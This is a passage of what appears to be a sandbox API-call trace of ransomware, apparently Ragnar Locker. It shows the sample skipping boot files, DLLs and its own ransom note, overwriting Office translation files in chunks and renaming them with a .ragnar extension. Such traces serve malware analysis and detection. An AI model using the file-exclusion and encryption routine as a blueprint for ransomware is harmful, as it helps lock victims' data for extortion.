lpString2="ntuser.dat.log") returned -1 [0077.960] lstrcmpiW (lpString1="MSB1AR.LEX", lpString2="ntuser.ini") returned -1 [0077.960] lstrcmpiW (lpString1="MSB1AR.LEX", lpString2="thumbs.db") returned -1 [0077.960] lstrcmpiW (lpString1=".LEX", lpString2=".db") returned 1 [0077.960] lstrcmpiW (lpString1=".LEX", lpString2=".sys") returned -1 [0077.960] lstrcmpiW (lpString1=".LEX", lpString2=".dll") returned 1 [0077.960] lstrcmpiW (lpString1=".LEX", lpString2=".lnk") returned -1 [0077.960] lstrcmpiW (lpString1=".LEX", lpString2=".msi") returned -1 [0077.960] lstrcmpiW (lpString1=".LEX", lpString2=".drv") returned 1 [0077.960] lstrcmpiW (lpString1=".LEX", lpString2=".exe") returned 1 [0077.960] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex")) returned 0x20 [0077.961] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x108 [0077.961] GetFileSizeEx (in: hFile=0x108, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2120459) returned 1 [0077.961] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x205b02, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.961] GetProcessHeap () returned 0x580000 [0077.961] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0077.961] ReadFile (in: hFile=0x108, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0077.963] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x22c0000 [0077.963] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.963] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0077.963] ReadFile (in: hFile=0x108, lpBuffer=0x22c0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x22c0000*, lpNumberOfBytesRead=0x1eaf34*=0x100000, lpOverlapped=0x0) returned 1 [0077.996] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0078.001] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x100000, nNumberOfBytesToLockHigh=0x0) returned 1 [0078.001] WriteFile (in: hFile=0x108, lpBuffer=0x22c0000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x22c0000*, lpNumberOfBytesWritten=0x1eaf30*=0x100000, lpOverlapped=0x0) returned 1 [0078.003] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x100000, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0078.003] VirtualFree (lpAddress=0x22c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0078.008] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x205b0b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.008] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0078.008] WriteFile (in: hFile=0x108, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0078.008] WriteFile (in: hFile=0x108, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0078.008] WriteFile (in: hFile=0x108, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0078.009] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0078.009] GetProcessHeap () returned 0x580000 [0078.009] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0078.009] CloseHandle (hObject=0x108) returned 1 [0078.009] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX" [0078.009] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX.ragnar_FD7BD9FC" [0078.009] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0078.009] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7780a100, ftCreationTime.dwHighDateTime=0x1c4d75f, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7780a100, ftLastWriteTime.dwHighDateTime=0x1c4d75f, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1CACH.LEX", cAlternateFileName="")) returned 1 [0078.009] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0078.009] lstrcpyW (in: lpString1=0x1eb638, lpString2="MSB1CACH.LEX" | out: lpString1="MSB1CACH.LEX") returned="MSB1CACH.LEX" [0078.009] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX") returned=".LEX" [0078.009] lstrcmpiW (lpString1="MSB1CACH.LEX", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.009] lstrcmpiW (lpString1="MSB1CACH.LEX", lpString2="autorun.inf") returned 1 [0078.009] lstrcmpiW (lpString1="MSB1CACH.LEX", lpString2="boot.ini") returned 1 [0078.010] lstrcmpiW (lpString1="MSB1CACH.LEX", lpString2="bootfont.bin") returned 1 [0078.010] lstrcmpiW (lpString1="MSB1CACH.LEX", lpString2="bootsect.bak") returned 1 [0078.010] lstrcmpiW (lpString1="MSB1CACH.LEX", lpString2="bootmgr") returned 1 [0078.010] lstrcmpiW (lpString1="MSB1CACH.LEX", lpString2="bootmgr.efi") returned 1 [0078.010] lstrcmpiW (lpString1="MSB1CACH.LEX", lpString2="bootmgfw.efi") returned 1 [0078.010] lstrcmpiW (lpString1="MSB1CACH.LEX", lpString2="desktop.ini") returned 1 [0078.010] lstrcmpiW (lpString1="MSB1CACH.LEX", lpString2="iconcache.db") returned 1 [0078.010] lstrcmpiW (lpString1="MSB1CACH.LEX", lpString2="ntldr") returned -1 [0078.010] lstrcmpiW (lpString1="MSB1CACH.LEX", lpString2="ntuser.dat") returned -1 [0078.010] lstrcmpiW (lpString1="MSB1CACH.LEX", lpString2="ntuser.dat.log") returned -1 [0078.010] lstrcmpiW (lpString1="MSB1CACH.LEX", lpString2="ntuser.ini") returned -1 [0078.010] lstrcmpiW (lpString1="MSB1CACH.LEX", lpString2="thumbs.db") returned -1 [0078.010] lstrcmpiW (lpString1=".LEX", lpString2=".db") returned 1 [0078.010] lstrcmpiW (lpString1=".LEX", lpString2=".sys") returned -1 [0078.010] lstrcmpiW (lpString1=".LEX", lpString2=".dll") returned 1 [0078.010] lstrcmpiW (lpString1=".LEX", lpString2=".lnk") returned -1 [0078.010] lstrcmpiW (lpString1=".LEX", lpString2=".msi") returned -1 [0078.010] lstrcmpiW (lpString1=".LEX", lpString2=".drv") returned 1 [0078.010] lstrcmpiW (lpString1=".LEX", lpString2=".exe") returned 1 [0078.010] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1cach.lex")) returned 0x20 [0078.010] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1cach.lex"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x108 [0078.010] GetFileSizeEx (in: hFile=0x108, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1536) returned 1 [0078.010] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x5f7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.010] GetProcessHeap () returned 0x580000 [0078.010] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0078.011] ReadFile (in: hFile=0x108, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0078.012] VirtualAlloc (lpAddress=0x0, dwSize=0x600, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0078.012] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.012] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0078.012] ReadFile (in: hFile=0x108, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x600, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x600, lpOverlapped=0x0) returned 1 [0078.012] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0078.012] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x600, nNumberOfBytesToLockHigh=0x0) returned 1 [0078.012] WriteFile (in: hFile=0x108, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x600, lpOverlapped=0x0) returned 1 [0078.012] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x600, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0078.013] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0078.013] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x600, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.013] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0078.013] WriteFile (in: hFile=0x108, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0078.013] WriteFile (in: hFile=0x108, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0078.013] WriteFile (in: hFile=0x108, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0078.013] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0078.013] GetProcessHeap () returned 0x580000 [0078.013] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0078.013] CloseHandle (hObject=0x108) returned 1 [0078.013] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX" [0078.013] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX.ragnar_FD7BD9FC" [0078.013] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1cach.lex"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1cach.lex.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0078.014] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5c6bc00, ftCreationTime.dwHighDateTime=0x1ca9121, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5c6bc00, ftLastWriteTime.dwHighDateTime=0x1ca9121, nFileSizeHigh=0x0, nFileSizeLow=0x2b990, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1CORE.DLL", cAlternateFileName="")) returned 1 [0078.014] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0078.014] lstrcpyW (in: lpString1=0x1eb638, lpString2="MSB1CORE.DLL" | out: lpString1="MSB1CORE.DLL") returned="MSB1CORE.DLL" [0078.014] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL") returned=".DLL" [0078.014] lstrcmpiW (lpString1="MSB1CORE.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.014] lstrcmpiW (lpString1="MSB1CORE.DLL", lpString2="autorun.inf") returned 1 [0078.014] lstrcmpiW (lpString1="MSB1CORE.DLL", lpString2="boot.ini") returned 1 [0078.014] lstrcmpiW (lpString1="MSB1CORE.DLL", lpString2="bootfont.bin") returned 1 [0078.014] lstrcmpiW (lpString1="MSB1CORE.DLL", lpString2="bootsect.bak") returned 1 [0078.014] lstrcmpiW (lpString1="MSB1CORE.DLL", lpString2="bootmgr") returned 1 [0078.014] lstrcmpiW (lpString1="MSB1CORE.DLL", lpString2="bootmgr.efi") returned 1 [0078.014] lstrcmpiW (lpString1="MSB1CORE.DLL", lpString2="bootmgfw.efi") returned 1 [0078.014] lstrcmpiW (lpString1="MSB1CORE.DLL", lpString2="desktop.ini") returned 1 [0078.014] lstrcmpiW (lpString1="MSB1CORE.DLL", lpString2="iconcache.db") returned 1 [0078.014] lstrcmpiW (lpString1="MSB1CORE.DLL", lpString2="ntldr") returned -1 [0078.014] lstrcmpiW (lpString1="MSB1CORE.DLL", lpString2="ntuser.dat") returned -1 [0078.014] lstrcmpiW (lpString1="MSB1CORE.DLL", lpString2="ntuser.dat.log") returned -1 [0078.014] lstrcmpiW (lpString1="MSB1CORE.DLL", lpString2="ntuser.ini") returned -1 [0078.014] lstrcmpiW (lpString1="MSB1CORE.DLL", lpString2="thumbs.db") returned -1 [0078.014] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0078.014] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0078.014] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0078.014] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38c6e400, ftCreationTime.dwHighDateTime=0x1ca6d6a, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x38c6e400, ftLastWriteTime.dwHighDateTime=0x1ca6d6a, nFileSizeHigh=0x0, nFileSizeLow=0x40f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1STAR.DLL", cAlternateFileName="")) returned 1 [0078.014] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0078.015] lstrcpyW (in: lpString1=0x1eb638, lpString2="MSB1STAR.DLL" | out: lpString1="MSB1STAR.DLL") returned="MSB1STAR.DLL" [0078.015] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL") returned=".DLL" [0078.015] lstrcmpiW (lpString1="MSB1STAR.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.015] lstrcmpiW (lpString1="MSB1STAR.DLL", lpString2="autorun.inf") returned 1 [0078.015] lstrcmpiW (lpString1="MSB1STAR.DLL", lpString2="boot.ini") returned 1 [0078.015] lstrcmpiW (lpString1="MSB1STAR.DLL", lpString2="bootfont.bin") returned 1 [0078.015] lstrcmpiW (lpString1="MSB1STAR.DLL", lpString2="bootsect.bak") returned 1 [0078.015] lstrcmpiW (lpString1="MSB1STAR.DLL", lpString2="bootmgr") returned 1 [0078.015] lstrcmpiW (lpString1="MSB1STAR.DLL", lpString2="bootmgr.efi") returned 1 [0078.015] lstrcmpiW (lpString1="MSB1STAR.DLL", lpString2="bootmgfw.efi") returned 1 [0078.015] lstrcmpiW (lpString1="MSB1STAR.DLL", lpString2="desktop.ini") returned 1 [0078.015] lstrcmpiW (lpString1="MSB1STAR.DLL", lpString2="iconcache.db") returned 1 [0078.015] lstrcmpiW (lpString1="MSB1STAR.DLL", lpString2="ntldr") returned -1 [0078.015] lstrcmpiW (lpString1="MSB1STAR.DLL", lpString2="ntuser.dat") returned -1 [0078.015] lstrcmpiW (lpString1="MSB1STAR.DLL", lpString2="ntuser.dat.log") returned -1 [0078.015] lstrcmpiW (lpString1="MSB1STAR.DLL", lpString2="ntuser.ini") returned -1 [0078.015] lstrcmpiW (lpString1="MSB1STAR.DLL", lpString2="thumbs.db") returned -1 [0078.015] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0078.015] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0078.015] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0078.015] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4958f00, ftCreationTime.dwHighDateTime=0x1ca9121, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4958f00, ftLastWriteTime.dwHighDateTime=0x1ca9121, nFileSizeHigh=0x0, nFileSizeLow=0x11390, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1XTOR.DLL", cAlternateFileName="")) returned 1 [0078.015] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0078.015] lstrcpyW (in: lpString1=0x1eb638, lpString2="MSB1XTOR.DLL" | out: lpString1="MSB1XTOR.DLL") returned="MSB1XTOR.DLL" [0078.015] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL") returned=".DLL" [0078.015] lstrcmpiW (lpString1="MSB1XTOR.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.015] lstrcmpiW (lpString1="MSB1XTOR.DLL", lpString2="autorun.inf") returned 1 [0078.015] lstrcmpiW (lpString1="MSB1XTOR.DLL", lpString2="boot.ini") returned 1 [0078.015] lstrcmpiW (lpString1="MSB1XTOR.DLL", lpString2="bootfont.bin") returned 1 [0078.015] lstrcmpiW (lpString1="MSB1XTOR.DLL", lpString2="bootsect.bak") returned 1 [0078.015] lstrcmpiW (lpString1="MSB1XTOR.DLL", lpString2="bootmgr") returned 1 [0078.015] lstrcmpiW (lpString1="MSB1XTOR.DLL", lpString2="bootmgr.efi") returned 1 [0078.015] lstrcmpiW (lpString1="MSB1XTOR.DLL", lpString2="bootmgfw.efi") returned 1 [0078.015] lstrcmpiW (lpString1="MSB1XTOR.DLL", lpString2="desktop.ini") returned 1 [0078.015] lstrcmpiW (lpString1="MSB1XTOR.DLL", lpString2="iconcache.db") returned 1 [0078.015] lstrcmpiW (lpString1="MSB1XTOR.DLL", lpString2="ntldr") returned -1 [0078.015] lstrcmpiW (lpString1="MSB1XTOR.DLL", lpString2="ntuser.dat") returned -1 [0078.016] lstrcmpiW (lpString1="MSB1XTOR.DLL", lpString2="ntuser.dat.log") returned -1 [0078.016] lstrcmpiW (lpString1="MSB1XTOR.DLL", lpString2="ntuser.ini") returned -1 [0078.016] lstrcmpiW (lpString1="MSB1XTOR.DLL", lpString2="thumbs.db") returned -1 [0078.016] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0078.016] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0078.016] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0078.016] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x807bb420, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x807bb420, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.016] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0078.016] lstrcpyW (in: lpString1=0x1eb638, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0078.016] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\RGNR_FD7BD9FC.txt") returned=".txt" [0078.016] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0078.016] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44a7300, ftCreationTime.dwHighDateTime=0x1c3af23, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb44a7300, ftLastWriteTime.dwHighDateTime=0x1c3af23, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WTSP61MS.DLL", cAlternateFileName="")) returned 1 [0078.016] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0078.016] lstrcpyW (in: lpString1=0x1eb638, lpString2="WTSP61MS.DLL" | out: lpString1="WTSP61MS.DLL") returned="WTSP61MS.DLL" [0078.016] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL") returned=".DLL" [0078.016] lstrcmpiW (lpString1="WTSP61MS.DLL", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0078.016] lstrcmpiW (lpString1="WTSP61MS.DLL", lpString2="autorun.inf") returned 1 [0078.016] lstrcmpiW (lpString1="WTSP61MS.DLL", lpString2="boot.ini") returned 1 [0078.016] lstrcmpiW (lpString1="WTSP61MS.DLL", lpString2="bootfont.bin") returned 1 [0078.016] lstrcmpiW (lpString1="WTSP61MS.DLL", lpString2="bootsect.bak") returned 1 [0078.016] lstrcmpiW (lpString1="WTSP61MS.DLL", lpString2="bootmgr") returned 1 [0078.016] lstrcmpiW (lpString1="WTSP61MS.DLL", lpString2="bootmgr.efi") returned 1 [0078.016] lstrcmpiW (lpString1="WTSP61MS.DLL", lpString2="bootmgfw.efi") returned 1 [0078.016] lstrcmpiW (lpString1="WTSP61MS.DLL", lpString2="desktop.ini") returned 1 